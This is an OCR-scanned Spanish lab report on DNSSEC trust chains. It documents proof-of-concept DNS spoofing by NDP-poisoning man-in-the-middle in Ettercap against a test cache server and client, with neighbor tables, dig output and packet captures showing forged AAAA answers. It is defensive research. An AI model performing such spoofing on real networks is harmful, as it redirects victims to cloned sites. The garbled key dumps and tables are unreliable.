€02060 RRSIGDNSKEY 8 0 604800 (
20180918123957 20180819123957 59887 .
teghbveCgugozoX0EgmBUvpGRRGir Sg3xhMRY
XZNUE/AT2Q0vWBrQeeNgejL/D4DdkBWsw3Zy
2ykBHMV1ABL60onSqTRR T TrAZINIWowGS0MS

; secure
cfuGyeiEes7aNN3so+HF1+/minCtjhS0QIo3

602060 RRSIGDNSKEY 8 0 604800 ( . L2
nXCK9JgjSArMfpijzPCcAfhFITyMhrSRgybT
20180918123957 20180819123957 36276 . 086D1UacVGimEi /WENCpPz8qC0Tdaz4y3vey
rBngSWniuyEvCv4BaCA34X2haBt/TvpBOeZ+ 2¥WRIkthyPE+IJewd/ ZvEyrarieUaxzoyrad
. X2iebygKHDKOSYmUDEibDRg7BX2sKoDc6p2e
/x=IehPL20]PgDL/ uwSSI1NdZRImDpPALgHD Iwtmc582I70ctWLRVEU+KuESKEY FUGMLIWNR
RUtrJrzGRoZ2VdT]jGebascwNLgC+ECM4DERA yNCc2gxBA+3jRpFpShWGE335yiUTcSVTigyQzyd
/VpRj+gdEGkclEGYISpWXSx2v5PbbSp3Tualle sswams3¥P1Dg+qEJLeDUIunéKn31216haNoP
%00059Aaknp3Shixeppul 59277 7 fnUkRDeo+
QPX7£qZvgDWghVMQIRO3+WXIELNbFDsXYCZA / cXAIpLVRNWEFLROdWCRUUXtX0vQeG3kagRR
PLmSs8YX9YeolT49n2g4 vpNFepekwUJU+2LY SWRp46dVSVEiHEJHUTbxy0i+ccYSIKZZgSHS
IPEg48SyV5y8zgMThzROXS91gEMRIB2ZUT kA Q6v8]B2qBUziVnTr5TOI+81MEaljdchBGEYN
ESZr34DZmHptAt tmMp+ULZi PTCBEMXNCARVO
eccmI4GIf2RalcESE£TTywI3SWTToE+OPgRST OTLt20pnGASWIpqRSRIVEYdkQ+Ji Kbhams v
vUpkgPwIrle3SmJ£TTLu3X1ASPeJplh/BHDE /Y¥UbMRalV6r3cqldY4YfATmEA1QFintHyB49v
MnQl07LsBSBI+xEihQ== ) GgOdEEMhQcVmYNg2XQd7 k6 9TRLA3DA0cT0R= )

Dominio com

El servidor DNS cache almacena sobre el dominio com lo que le entregua el
servidor autoritario del domino raiz y debido a que este esta firmado, almacena
dicha informacion con nivel de confianza secure.

; glue
COIM. 602754 N3 a.gtld-servers.net.com.

; =Zecure

§794 \-DS ;-SNXRRSET

. 80L f.root—servers.net. admin. Z 604800 B&4000 2415200 &04800
. BRRSIG SC& ...

AOTTOOSPTJIE0REEGTNHOUDTUOZ4ERLICS. RRSIG NSEC3 ...
AOTTOCSPTJIEORGEGTNHOUDTUIOZ4ERLICS. NSEC3 1 1 20 20010500ZFF2ZBEEE
PCUIVPMPFSIUVIS1INFSJ43D08B2ZHUUGM RARE RRSIG
US4DIZEZVGEBSET7SV3DS49DUBAJUTISMT. RRSIG NSEC3 ...

; US4DIZEZVGBSETSV3IDS49DUBAJUTISMT. NSEC3 1 1 20 Z0010500ZFFZBEEE
GlEVFST6VQBEIHOVELVAIIRIGSUSIPRTC NS5 S04 RLAY RRSIG DMNSEEY
MSEC3PARAM

T O-. s wE ma
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Dominio comunicate.com

El dominio comunicate.com se encuentra firmado, pero el domino com no lo est4,
el servidor DNS cache almacena con un nivel de confianza de answer los registros
DNSSEC del dominio. Ademéas como el dominio com esta sin firmar, este no tiene
el registro DS del dominio de comunicate.com por lo cual no existe el registro DS
para comunicate.com.

4644
602794 DNSKEY 257 3 8 (
: glue AwERReoeMtRzkYgMIfEmlg4GoRADQCe SBNEF
comunicate.com. 6027594 NS dnsl.comunicate.com. RZ‘D"'bLO“‘m'IEWWE_DRFSUQHDCh“Gf‘quHNLDLN
. answer o/ 10FLZ7DSLVE ] BTRQFTt2mbhXxJQF1 8mN/ O
! t¥3cUuB/ Z4GqTSCgAQ5G04jCOJEGBHWULT =
8794 \-DS ;-$NXRESET 2
’ . KrY00kJh+psTurx/Nahf0+a911GPkHLS/njF
; com. SOA a.gtld-servers.net. admin.com. 2 604800 864000 2415200 wDo3FLq2 9% EEbophbhTw51srViwacTGitas]
604800 SntRCYjdzZcyGESvIFWRBZ5gXcPSLCBLPuIl
i answer DxTu4Hr9NJZSXrGE9s]lvSbmimsRTCws3/ 9/
6027394 DNSEEY 236 3 8 ( zxD+dHESDuw0/ KWFC6£5n0xx/ BXQQTILLLiR
AWEARZLEYtMtEpAbTv/216twelVwawkX9LIY A1w7kYOCoJ0+omIatENKJpkEylaITFTOgpAzm
5JI586Y0CtgHWiFV] OyyrN]RxVRvWROXS+1R4 RNBibPUeN1V/Fq7xL]jAqdeICRLC11bU14hEe
byhg3GP0/mtaX12Lkl80l1/CSdb7TNZOXbOhC M2S0JRw512wC9z0zXaNz Yuppteds SEVME SmM
2hLy03m70xIm0YiaSdm/d/Lt010FT7dSY18TR *kmHSWHNzrTgMh¥2]BOnjAPa6ZkUx+cZTDEV
DIS1VwWUU/ Znh/vXQTsTDFb6RTgRG x/ 1 1Grp S5tgVWii9GUCoXRVaMSGLww3GUoU20TmhI1Ah
wadHQEE+gXEegVHADXFadkF+ 8114 BRuXk+oQ+ eyHtEj2h1G2£211R32tcwLWOIHESEdoALLS1
wdj 1QBDYRvy+£MaoQmyKkA3S4c0ZEAOCPFDS jaRkl3r6zLacIfN4]SnEXvALDRACLYOpjkInL
UsEVAT14NLE5HLoyqyTexWwLy PzBMUZ Tk 2pxD OPJuDLIHgwZOyVbehz17UBmv1sXBi3asEIbO
awBWGPSTsN4eBuMNN2 BxciXciNdsOba] SNST qi9TtF2RXSWHRC3W/bulinMBTdWspXyrBD+ed
il SKD72HAHFHFzLeXbS+0HE1TKORzDgz1ExDRx.
®YcsmESEDSH1AbNLETQPLTh= w3l
) ; ZSK; alg = RSASHA256; key id = ) ; RSK; alg = RSASHA25E; key id =
4644 1510
’ 602794 RRSIGDNSKEY & 2 604800 (
20180915183522 20180816183%22 1510
comunicate.com.
MCOjUfyYOpSbyTvIgeRg68waod6+tdBS31kh
SPnHBE1VA/jqgémhz1dgAm0OSp4 LXVBROWY O
©R/e0250JRESSTOMuF3h2S¥1n0til28gyzTc
x93ulh6e0Q7xN47x4IPPQ04kc8SBg6tPVT 3P
SZcReG3uZSH+E1ixES1+ENE+]WedBnAThOUS3
953cMsI8pTtteYRZT1BQMzUxPRSrbt YOZ8ET comunicate - COM .
K6bIMHG422yDi 53 2g2utdt j 40XnKiyGECX23 .
TS S ND4W/r6t+vEJI3H+3nke] PARYR1oGwHASyzhS
=8dGCe/ £75IxFwums ] bSHReAkySxnyRXY1Qc WTZ1RJIYFYAgPohzrk+Hk4bi0OEhkP4LGv /31D
tLATIDETKSUD0355773LTRTvIOnrgXQTidz+ .
BAPCYWWDG9 PORE AMUE cSDGATeQTOMNAGORLE NEWXJ_ztOV'x..QCpEX}L]:U;E 0vLo9hAeIRs8grXytL
bMe103 650 6H5TNIFOP2IFyQqM) Kb SxEHELT ugyfoNIanizyQsIv]¥WbAHF2YenNX2XgLIc
10/w83v0YV6shIAV+CD2n/ 06bWO934Ng68 /X ;
AjLUBEEBYnxDxJgF5A1xhiES] TERbOumQE. u.ng4YJ32nvaUSNprl?let(:}DqEUhu.PSJ.CVT
QR7utCYIzgTSpémoiwac/ frivAsgueaivl £+ FLMug2/qy0032mT110 kC6E+] TRAWHPVIubNYg
bTERZgijPCY+0r¥YxV/DAdkEQFZYSEVIDGBYE .
PPUPSEDT1 Beo 108D xHIPEGS<T20 28R e g7wj £e910XvEzLoz0entWVnE3TEXE/RUD2AL
fhMYygTk70zHAIMACs Tpn/ +nDexMOkMAKY g4 cRPHrfRp3VcekfXSbvuNFSRZ3niRyXzyVEEC
40azu34t0yRI3F+g+2MMQh x5 5aYTkBSUZW= )
co2704 RRSIC DNSFEY & 2 604800 DHJHZnu+t £TvAAVUvZFIEwSmXOJPYAyb7eXC
20180915183922 20180816183922 4644 Gh/054d4LEYnSoxyul== )

Dominios dnsl.comunicate.com

Almacena como regidtro AAAA del dominio 2800:3f0:4005:403::baca:2 como dato
de referencia , mientras que para el dominio www.comunicate.com no almacena
registro.
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- alues

dnsl.comunicate.com. &02754 ARAY 2800:3f0:4005:403::baca:2

; answer

WWW . COMUN1ICALE . COM. a/3a \—A ; o NARRSET

; comunicate.com. SO& dnsl.comunicate.com. admin.comunicate.com.
2 604800 8c4000 2415%200 604800

; comunicate.com. RRESIG SOL ...

; IRMSINCTNP4ROPR2ZCMDVGFLNFMBACPCOR.comunicate.com. RRSIG NSEC3

; IRNSINCTNEP4R0OPR2ZOMDVGFLNFMEBCOPCR.comunicate.com. NSEC3 1 1 20
28002F024005BACA LDDO1BTOPORZIGVTESCMTELITIPRIJARF ARLL RERSIG

; glus

a.gtld-servers.net.com. 602754 nnpp 2001:503:3f::beca:l

El servidor cache no presenta envenenameito cuando el hombre en el medio se
realiza entre el cliente y el servidor cache, asi se realice una consulta por un
dominio inexistente.

PoC de DNS Spoofing entre el Cliente y el Servidor Cache Validador cuando
el Cliente consulta por el nombre de dominio www.bancodk.com

1. Descripcion de la prueba

La prueba de concepto de DNS Spoofing se realizé en el escenario real de
pruebas controlado con la cadena de confianza rota, debido que en la red
externa el dominio com se encuentra sin firmar, mediante un ataque de
HOMBRE EN EL MEDIO con NDP spoofing entre el Cliente y el Servidor
Cache Validador.

En este caso, se quiere suplantar la respuesta del Servidor DNS Autoritario del

dominio www.bancodk.com por la direccion IPv6 del atacante Kali, con el

propésito de envenenar la memoria del Servidor Cache insertando un registro
DNS falso en la TABLA DNS. De esta forma, en lugar de dirigir al usuario o
usuarios al sitio web legitimo, las victimas seran direccionadas al sitio web
falso clonado por el atacante, cuando realicen una consulta al dominio

www.bancodk.com.

Al efectuar la prueba se determinara si el Cliente, es o no es vulnerable
cuando realice una consulta a www.bancodk.com, de esta manera se evaluara

si la prueba fue exitosa o0 no, teniendo en cuenta que en este escenario los
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clientes no realizan el proceso de validacion DNSSEC, mientras que el

Servidor Cache recursivo de la organizacion si.

2. Herramienta: Para la realizacion de la prueba se utilizé Ettercap, v2.8

3. Topologia de Red del Ambiente real de Prueba.

RED INTERNA
2001:12:7000::CAFE: 0112

& &

ATACANTE

CAFE:25
r

L J b
CAFE:S

Servidor
Caché
Walidader

ROUTER DE
FRONTERA

waw_bancodk.com Servidor Autoritario
dns1 bancodk.com

Fig. x Topologia de Red del Ambiente real de Prueba

4. Ambiente de la prueba:

La prueba se desarroll6 en un escenario real de pruebas controlado que

cumple con las siguientes caracteristicas:

La cadena de confianza DNSSEC se encuentra rota (dominio com se
encuentra sin firmar.)

El proceso de validacion de las respuestas DNS es efectuado por el el
Servidor Cache validador recursivo de la organizacion, que posee tanto
la clave publica del servidor raiz f.root-servers.net como la del dominio

bancodk.com.
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e Se realizé un ataque de hombre en el medio entre el cliente y el servidor

DNS cache validador.

e Como maquina atacante se utilizé la distribucién Kali-Linux de 64 bits,

configurando la interfaz ethO con acceso a la red interna 2001:12:7000:
CAFE:0/112.

e Elcliente Linux de la red interna CAFE, realiza las mismas consultas en

momentos de tiempo diferentes para determinar si siempre se obtiene la

misma informacién o respuesta cuando éste solicita una consulta a

www.bancodk.com.

e El escenario real de pruebas se implementé con la distribucion Linux
Debian 9.4

5. Caracteristicas de los equipos involucrados en la prueba:

S.0 EQUIPO FUNCION DIRECCION IPv6 DIRECCION MAC | INTERFACES
Servidor cache recursivo -Validador TARGET 2001:12:7000::cafe:5 | 08:00:27:F1:2C:A5 EthO
Router frontera-Gateway red CAFE TARGET 2001:12:7000::cafe:5 f0:4d:a2:db:f2:ce EthO
DEBIAN Realiza la consulta al dominio
Cliente DNS Linux ) 2001:12:7000::cafe:15 | 08:00:27:6A:D6:57 EthO
www.comunicate.com

KALI

GNU/LINUX KALI Atacante 2001:12:7000::cafe:14 08002756EAB2 EthO
2018

Tabla N°. Caracteristicas de los equipos.

6. Resultados obtenidos de la Prueba:

DOMINIO

MITM

www.bancodk.com

baancodk.com

SUPLANTACION [ENVENENAMIENTO DE | VALIDACION | VALIDACION

VALIDADORES DE DOMINIO

CACHE

Tabla N°. Resultados obtenidos.

CACHE

CLIENTE

POC
EXITOSA

Se obtuvo que la PoC es éxito, cuando el proceso de validacion es realizado solo
por el servidor DNS cache, cuando la cadena de confianza esta rota. Ademas de
que por el hombre en el medio cliente-servidor cache, el servidor cache validador
no participa del proceso de consulta, por lo cual no se ve envenenano ni realiza
proceso de validacion.
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Ejecucion de la PoC desde Kali

Para realizar la prueba se comienza con la seleccién de los objetivos que se veran
involucrados en la prueba, el servidor cache DNS y el cliente, como se muestra

en la imagen de abajo

Start Targets Hosts View Mitm Filters Logging Plugins Info

Haost List =

IP Address MAC Address Description
2001:12:7000::cafe: 1 08:00:27:27:DB:30
2001:12:7000::cafe:2 08:00:27:50:64:6E

2001:12:7000::cafe:5 08:00:27:FL: 2CAS
2001:12:7000::cafe:6 08:00:27:B8:36:2D WEBSERVER.local
| | 2001:12:7000:cafe:28 08:00:27:6A:D6:57 |

Delete Host Add to Target 1 Add to Target 2

Probing 3 seconds for active IPvE nodes ...

33 hosts added to the hosts list...

Host 2001:12:7000::cafe: 28 added to TARGET1
Host 2001:12:7000::cafe:5 added to TARGET2

Después de seleccionado los objetivos, se realiza envenenamiento NDP para
llevar a cabo ataque de hombre en el medio entre el cliente y el servidore DNS

cache.

Start Targets Hosts View Mitm Filters Logging Plugins Info

Host List x | Targets x

Target 1 Target 2
2001:12:7000::cafe:28 2001:12:7000::cafe:5
Delete I Add I Delete
A

DHCP: [E8:9A:8F:6F:B9:13] DISCOVER
DHCP: [04:7D:7B:11:A0:50] DISCOVER

MNDP poisoning victims:
GROUP 1: 2001:12:7000::cafe: 28 08:00:27:6A:D6:57

GROUP 2 : 2001:12:7000::cafe:5 08:00:27:F1:2C:A5

Efecto de hombre en el medio en Cache

Después de empezar la ejecucion del ataque se observa que esta relacion se ve
afectada por MITM, como se muestra en la imagen de abajo, donde la direcciéon

MAC del cliente ha sido modificada por la del atacante.



root@validador:~# ip -6 neigh

fe80::a00:27ff:fed48:919 dev enpOs3 lladdr 08:00:27:48:09:19 REACHABLE
2001:12:7000: :cafe:37 dev enp0s3 lladdr 08:00:27:48:09:19 STALE
2001:12:7000: :cafe:28 dev enp0s3 lladdr 08:00:27:48:09:19 router REACHABLE
fe80::a00:2/ff:fe50:646e dev enpOs3 Lladdr 08:00:27/:50:64:6e STALE
2001:12:7000: :cafe:2 dev enpOs3 lladdr 08:00:27:50:64:6e STALE
2001:12:7000: :cafe:1 dev enp0s3 lladdr 08:00:27:27:db:30 router STALE
feB80::a00:27ff:fe27:db30 dev enpOs3 lladdr 08:00:27:27:db:30 router STALE

Una vez se ha verificado que el envenenamiento NDP se ha llevado a cabo, se
procede a realizar las consultas DNS, desde el cliente, para analizar el proceso y
los resultados de la prueba de concepto de DNS Spoof.

Efecto de hombre en el medio en el Cliente

Después de empezar la ejecucion del ataque se observa que esta relacion se ve
afectada por MITM, como se muestra en la imagen de abajo, donde la direccion
MAC del servidor DNS cache ha sido modificada por la del atacante.

root@CLIENTE:~# ip -6 neigh
fe80::a00:277f:Te48:919 dev ethl lladdr 08:00:27:48:09:19 S5TALE

| 2081:12: 7000::cafe:b dev ethl lladdr 08:00:27:48:09:19 router REACH&}LE
TeBO::a00:2711:7227:db30 dev eth® lladdr 08:00:27:27:db:30 router STALE
2001:12:7000: :cafe:l dev eth@ 1laddr 08:00:27:27:db:30 router STALE

| ool 1A0/0U0icate 3/ dev etht Lladdr Us:bl 2/ 4009018 STALE |
TegW:abb:2/TT:TerlZcas dev etht Lladdr Ug:ow:i2/rli2cras STALE

A continuaciéon desde la consola del cliente validador, se realizan una serie de
consultas para analizar las respuestas obtenidas.

Consultas

Consulta a dominio real

El cliente consulta al dominio www.bancodk.com exigiendo validacion DNSSEC,
obteniendo como respuesta el registro AAAA 2001:12:7000::cafe:37, respuesta no
validada (ausencia del bit ad de validacion en el campo flags).
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rootéCLIENTE:~# dig AAAA www.bancodk.com +dnssec +multiline

; ==== [DiG 9.9.5-9+debBul5-Debian <=<>> AAAA www.bancodk.com +dnssec +multiline
;3 global opticons: +cmd

5 Got answer:

;; -=>HEADER<<- opcode: QUERY, status: NOERRCR, id: 29837

;; flags: gr aa; QUERY: 1, ANSWER: 1, AUTHORITY: O, ADDITIONAL: @

;; QUESTION SECTION:
swww . bancodk .com. IN AAAA

;5 ANSWER SECTION:
www . bancodk .com. 3600 IN AAAA 2001:12:7000::cafe:37

;5 Query time: 8 msec

;: SERVER: 2001:12:7000::cafe:5#53(2001:12:7000: :cafa:b)
;5 WHEN: Sun Aug 19 16:06:42 -05 2018

;: MSG SIZE rcvd: B1

No. Time Source Destination Protocel Length Info

2071 234.12002 2001:12:7000: : cafe:28 2001:12:7000::cafe:5  DNS 106 Standard query 0x748d AAAA www.bancodk.com

2072 234.12744 2001:12:7000: :cafe:5  2001:12:7000::cafe:28 DNS 123 Standard query response (x748d AAAA 2001:12:7000::cafe:37

El atacante suplanta al servidor DNS cache para contestar a las consultas
realizadas por el cliente

No. Time Source Destination Protocol Length Info

2072 234.12744 2001:12:7000: :cafe:5 2001:12:7000::cafe:28 DNS 123 Standard query response 0x748d AAAA 2001:12:7000::cafe:37

< mn

Frame 2072: 123 bytes on wire (984 bits), 123 bytes captured (984 bits) on interface 0
Ethernet II, Src: CadmusCo_48:09:19 (08:00:27:48:09:19), Dst: CadmusCo_6a:d6:57 (08:00:27:6a:d6:57)
Internet Protocol Version 6, Src: 2001:12:7000::cafe:5 (2001:12:7000::cafe:5), Dst: 2001:12:7000::cafe:28 (2001:12:7000::cafe:28)
User Datagram Protocol, Src Port: 53 (53), Dst Port: 39593 (39593)
= Domain Name System (response)
Reguest Tn: 2071
[Time: 0.007428455 seconds]
Transaction ID: 0x748d
Flags: 0x8400 standard query response, No error
Questions: 1
Answer RRs: 1
Authority RRs: 0
Additional RRs: O
= Queries
@ www.bancodk.com: type AAAA, class IN
B Answers
& www.bancodk.com: type AAAA, class IN, addr 2001:12:7000::cafe:37

Vista desde Cache

Una vez se ha analizado el proceso de consulta desde el cliente se determinara la
informacion generada en el servidor DNS cache validador producida por las
consultas realizadas.

Desde el cache se puede observar desde diferentes perspectivas (estado,
memoria cache y syslog ) las consultas realizadas y los resultados obtenidos.

La memoria cache, del servidor DNS cache solo tiene almacenados registros del
dominio raiz.
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; Start wview _default
; Cache dump of wview ' default' (cache default)

SDATE 20180502161729%
; secure
604427 IN NS f.root-servers.net.
; secure
604428 RESIGNS 8 0 604800 (
20181002111524 20180502111524 36276 .
zuBlSbfulbF33HAA2U21k/ QpwNTTJO0QOVTaT
telDcmCeLVLgMegSwC SpQZUpmECDUuXb4VES
bXtdx3Dhuz0SMUXClCxCUfe2Ps£SyvEYIXDwWT
ngpR+kSc2in012D01HEbsoBogkUCREWO+theZ
Qzhvesd4f8BumUZfCYzQMLAOPED0Gc2yDSLERC
MN1r4hvTOvldW2hhez3/xBBiVPi5h38pPinF3
27 7GzxPTyCMpESSgYy=QcGELTSissrdxdlss
8CdHiP+c4QwvSpa352JtNBAMPE2 6635]FFRa
ES]TwYeMFohZE8luxtEmYlteaS5Yy69vBx2a
/wk+d5LoJLsmGs SVnA==

PoC de DNS Spoofing entre el Servidor Cache y la Gateway de la red CAFE
cuando el Cliente validador consulta por el nombre de dominio
www.comunicate.com

1. Descripcion de la prueba

La prueba de concepto de DNS Spoofing se realizé en el escenario real de
pruebas controlado con toda la cadena de confianza de la red externa e
interna firmadas con DNSSEC, mediante un ataque de HOMBRE EN EL
MEDIO con NDP spoofing entre el Servidor Cache y la Gateway de la red
CAFE.

En este caso, se quiere suplantar la respuesta del Servidor DNS Autoritario del

dominio www.comunicate.com por la direccion IPv6 del atacante Kali, con el

propésito de envenenar la memoria del Servidor Cache con soporte de
insertando un registro DNS falso en la TABLA DNS. De esta forma, en lugar
de dirigir al usuario o usuarios al sitio web legitimo, las victimas seran
direccionadas al sitio web falso clonado por el atacante, cuando realicen una

consulta al dominio www.comunicate.com.
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Al efectuar la prueba se determinara si el Servidor Cache, es o0 no es
vulnerable al envenenamiento de la memoria cache, cuando el cliente

validador realice una consulta a www.comunicate.com, de esta manera se

evaluara si la prueba fue exitosa o no, teniendo en cuenta que en este
escenario los clientes realizan el proceso de validacion DNSSEC. Mientras

que el Servidor Cache recursivo de la organizacion no.

2. Herramienta: Para la realizacion de la prueba se utilizé Ettercap, v2.8

3. Topologia de Red del Ambiente real de Prueba.

RED INTERNA RED EXTERNA

ATACANTE

Servidor DNS Raiz
f.root-servers.net

(i

ROUTER DE
@ FRONTERA
4 = Fa0/1
L) &\1

CAFE:1 , .
Servidor Autoritario

comunicate.com

8 Servidor Autoritario
coMm.
/ Agtdserverset

\

Servidor
cache NO

valida

Servidor Web
www.comunicate.com

SR

N

N

VICTIMA

Fig. x Topologia de Red del Ambiente real de Prueba

4. Ambiente de la prueba:
La prueba se desarroll6 en un escenario real de pruebas controlado que
cumple con las siguientes caracteristicas:
e La cadena de confianza DNSSEC se encuentra rota (dominio com se

encuentra sin firmar.)
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El proceso de validacion de las respuestas DNS es efectuado solamente
por el Cliente Validador, que posee tanto la clave publica del servidor
raiz f.root-servers.net como la del dominio bancodk.com.

Se realizé un ataque de hombre en el medio entre el Servidor Cache y la
Gateway de la red CAFE.

Como maquina atacante se utilizo la distribucion Kali-Linux de 64 bits,
configurando la interfaz ethO con acceso a la red interna 2001:12:7000:
CAFE:0/112.

El cliente validador Linux de la red interna CAFE, realiza las mismas
consultas en momentos de tiempo diferentes para determinar si siempre
se obtiene la misma informacién o respuesta cuando éste solicita una
consulta a www.comunicate.com.

El escenario real de pruebas se implementd con la distribucién Linux
Debian 9.4

5. Caracteristicas de los equipos involucrados en la prueba:

S.0 EQUIPO FUNCION DIRECCION IPv6 DIRECCION MAC INTERFACES
DEBIAN Servidor cache TARGET 2001:12:7000::cafe:5 08:00:27:B4:24:90 enp0s3
Router frontc;r'a:éSateway red TARGET 2001:12:7000::cafe:1 f0:4d:a2:db:f2:ce enp0s3
DEBIAN Cliente validador Realiza la consulta al dominio 2001:12:7000::cafe:25 08:00:27:FB:19:D0 enp0s3
www.comunicate.com
KAL
GNU/LINUX KALI Atacante 2001:12:7000::cafe:37 08:00:27:48:09:19 EthO

2018

Tabla N°. Caracteristicas de los equipos.

6. Resultados obtenidos de la Prueba:

SUPLANTACION |ENVENENAMIENTO DE| VALIDACION | VALIDACION POC

DOMNO ESTADO MITH VALIDADORES DE DOMINIO CACHE CACHE CLIENTE [ EXITOSA
Www.comunicate.com F
coomunicate.com NF-I

Tabla N°. Resultados obtenidos.
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Se obtuvo al realizar la PoC, que cuando el proceso de validacion es realizado
solo por el cliente, mientras que el hombre en el medio se ejecuta entre el servidor
DNS cache y la Gateway de la red café, y se consulta por el dominio
comunicate.com, la PoC es exitosa, esto debido a que a pesar de que el cliente
valide, al estar la cadena rota, no se puede autenticar el origen de los datos.
Ademas de que el hombre en el medio afecta al servidor DNS Cache que no

realiza validacion envenenado la memoria cache de este.

7. Evidencias de la PoC.

Ejecucion de la PoC desde Kali

Para realizar la prueba se comienza con la seleccién de los objetivos que se veran
involucrados en la prueba, el servidor autoritario del dominio banco y el servidor
cache DNS, como se muestra en la imagen de abajo

ettercap 0.8.2 9 ® 9
Start Targets Hosts View Mitm Filters Logging Plugins Info
Host List x
IP Address MAC Address Description
2001:12:7000::cafe:1 08:00:27:27:DB:30 '

2001.12-7000caf=-b 0800 27-F1.0C.AD

2001:12:7000::cafe: 25 08:00:27:FB:19:D0

| Delete Host I Add to Target 1 | Add to Target 2 J

Randomizing -1 hosts for scanning...

Scanning the whole netmask for -1 hosts...

Probing 3 seconds for active IPv6 nodes ...

33 hosts added to the hosts list...

Host 2001:12:7000::cafe:5 added to TARGET1 u
Host 2001:12:7000::cafe: 1 added to TARGET2

Después de seleccionado los objetivos, se realiza envenenamiento NDP para
llevar a cabo ataque de hombre en el medio entre los servidores DNS cache y la

Gateway de la red 2001:12:7000::cafe:0/112.

Start Targets Hosts View Mitm Filters Logging Plugins Info
Host List x | [Targets x |

Target 1 Target 2
2001:12:7000::cafe:5 2001:12:7000::cafe:1

Delete I Add I Delete I Add

DOl . [LO.JA.00 U1 .03 L] UISOUVLI

NDP poisoning victims:

GROUP 1:2001:12:7000::cafe:5 08:00:27:F1:2C:A5

GROUP 2: 2001:12:7000::cafe: 1 08:00:27:27:DB:30
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Efecto del hombre en el medio en Cache

Después de empezar la ejecucion del ataque se observa que esta relacion se ve
afectada por MITM, como se muestra en la imagen de abajo, donde la direccién
MAC de la Gateway ha sido modificada por la del atacante.

root@valldador ~# 1p -6 neigh
0:27ff:fe27:db30 d

: 0s3 11
2001:12:7000: : cafe:1 dev _enp0s3 Lladdr 08:00: 2? 48 09 19 router REACHABLE
Te80::a00:2/7f:fed8:919 dev enpls3 lladdr 08:00:27:48:09:19 REACHABLE

[Z00T:1Z:7000: :cafe:3/ dev enpBs3 [laddr ©8:00:27:48:09:19 STALE ]

Vista desde Cliente

Consultas

Consulta a dominio real

El cliente consulta al dominio www.comunicate.com exigiendo validacion
DNSSEC. Obteniendo como respuesta que el dominio tiene registro AAAA
2001:12:7000::cafe:37.

root@Cliente-validador:~# dig AAAA www.comunicate.com +dnssec +multiline

; <<>> DiG 9.10.3-P4-Debian <<>> AAAA www.comunicate.com +dnssec +multiline
s+ global options: +cmd
;1 Got answer:

———me QUERE_status: NOFRRPR, id: 37992
. Tla0s: ar rd fa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 1

3+ OPT PSEUDOSECTION:

; EDNS: version: @, flags: do; udp: 4096
;; QUESTION SECTION:

swWww . comunicate. com. IN AAAA

__ANSWFR_SFCTTON-
| wwW. comunicate. com. 3600 IN AAAA 2001:12:7000: :cafe:37|

;+ AUTHORITY SECTION:

604800 IN NS f.root-servers.net.

604800 IN RRSIG NS 8 6 604800 (
20180918123957 20180819123957 36276
WOlds+3muKXufBfRYd09T9zPH+GQERwWc 111kBQVp1NX4
JXgMA9TKvig5hb+PD1Tke6LOZErkSvnu+BaQZE1VYNHxMI
qFzuuJgNWOrCeQo/it5/h13DYZb]/5gDN8pB8Hdi1P3V
g9TagNN1UdKKLIVIWQ2eNte5GM8yV+11yNI3QImUtVmy
m5RyowP5QgB1lrnBEBdXRuwMz2QgtjcavEuSFxn6tEHIU
yX2+8XXONMhdEGBY®/29AD3wX4vKdi®1Wrkcg8008epH
t91ZzAMUKzwUGFOtxwiFCI47HIYYOt2+cEV58Y/dRGOT
1oEVA/180TRxDvODRqtLOYPgUsGPp268dg==

;1 Query time: 108 msec
7+ SERVER: 2001:12:7000::cafe:25#53(2001:12:7000: :cafe:25)
7+ WHEN: Tue Aug 21 04:26:15 -05 2018
7+ MSG SIZE recvd: 392
Entre las caracteristicas la respuesta obtenida por el cliente estan:

e Larespuesta no ha sido validada usencia del bit ad en el campo flags
o El estado de la respuesta es NOERROR
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e Eltiempo que tarda en llegar la respuesta es de 108ms

Se llega a este resultado debido a que, el cliente realiza la consulta al servidor
cache, que al no tener dicha informacion debe de preguntar al raiz, momento que
es aprovechado por el atacante para suplantar al servidor DNS cache y responder
con informacion falsa al cliente, que a causa de la cadena de confianza estar rota,
no puede validar.

No, Time Source Destination Protocol Lenath Info
1327 118.43569 2001 : 2001:12:7000::cafe: DNS. 109 standard auerv 0xbh165 _AAAA www.comunicate.com
1328 118 435952001 - 2001 DS 90 standard guery Oxalcc NS <Rogts

1329 118.43748 2001
1330 118.43859 2001:
1331 118.43881 2001:

2001 126 standard guery response Oxb165
2001:12:7000: : cafe: s DNS 83 standard query 0x8772 DS com
2001:500:2f: : f:bebe:2 DNS 109 Standard query Ox0d4f AAAA www.comunicate.com

AAAA 2001:12:7000:;

1332 118.43923 2001: : 2001:500:2f: : f:bebe:2 DNS 90 Standard query 0xa8d0 NS <Root=

1333 118.43951 2001: : 2001:500:2f: :f:bebe:2 DNS 90 Standard query 0x3406 NS <Root>

1334 118.44098 2001: : 2001:500:2f: :f:bebe:2 DNS 94 standard query Oxf6ad3 DS com

1335 118.44570 2001: 12 2001:12:7000::cafe:5 DNS. 126 Standard query response 0x0d4f AAAA 2001:12:7000::cafe:37
1336 118.44647 2001:12:7000: :cafe:5 2001:500:2f::f:bebe:2 DNS 90 standard query 0xa8d0 NS <Root>

1337 118.44648 2001:12:7000: :cafe:5 2001:500:2f::f:bebe:2 DNS 90 standard query 0x3406 NS <Root>

1338 118.446482001:12:7000: : cafe:5 2001:500:2f::f:bebe:2 DNS 94 standard query 0xf6a% DS com

1339 118.44698 2001:12:7000: : cafe:5 2001:12:7000::cafe:25 DNS 137 standard query response 0xb165 AAAA 2001:12:7000::cafe:37

Ne. Time Source Destination Protocel Length Info

1329 118.43748 2001:12:7000: :cafe:5 2001:12:7000::cafe:25

< m

Frame 1329: 126 bytes on wire (1008 bits), 126 bytes captured (1008 bits) on interface 0
Ethernet II, Src: CadmusCo_48:09:19 (08:00:27:48:09:19), Dst: CadmusCo_fb:19:d0 (08:00:27:fb:19:d0)
Internet Protocol Version 6, Src: 2001:12:7000::cafe:5 (2001:12:7000::cafe:5), Dst: 2001:12:7000::cafe:25 (2001:12:7000: :cafe:25)
User Datagram Protocol, Src Port: 53 (53), Dst Port: 54056 (54056)
= Domain Name System (response)
Request In: 1327
[Time: 0.001790824 seconds]
Transaction ID: Oxb165
Flags: 0x8400 Standard query response, No error
Questions: 1
Answer RRs: 1
Authority RRs: 0
Additional RRs: O
= Queries
@ www.comunicate.com: type AAAA, class IN
B Answers
@ www.comunicate.com: type AAAA, class IN, addr 2001:12:7000::cafe:37

126 Standard query response Oxb165 AAAA 2001:12:7000::

Consulta a dominio inexistente

